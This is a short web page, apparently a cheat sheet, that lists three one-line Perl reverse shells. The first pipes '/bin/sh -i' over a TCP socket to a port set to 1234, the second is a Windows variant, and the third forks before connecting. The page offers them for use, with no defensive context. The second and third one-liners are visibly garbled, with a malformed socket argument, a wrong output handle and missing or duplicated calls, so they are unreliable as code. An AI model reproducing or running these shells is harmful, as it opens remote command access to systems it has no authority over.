Last Updated:
perl camel
perl camel O'Reilly Media -

Reverse Shells: perl style

Reverse Shells: perl style

If you're just getting into writing code, python comes heavily recommended. But, if programming is something you're wanting to get into jumping straight into perl might be more beneficial.

Yes, these are all built to be executed on a single line.

perl reverse shell using /bin/sh

perl -e 'use Socket; $i=""; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");};'

perl reverse shell designed for Windows

It's actually not uncommon to find perl installed on Windows Servers.

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr, "");STDIN->fdopen($c,r);$~->fdopen($c,w);$_ while<>;'

perl reverse shell using raw sockets

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, "");STDIN->fdopen($c,r);$~->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'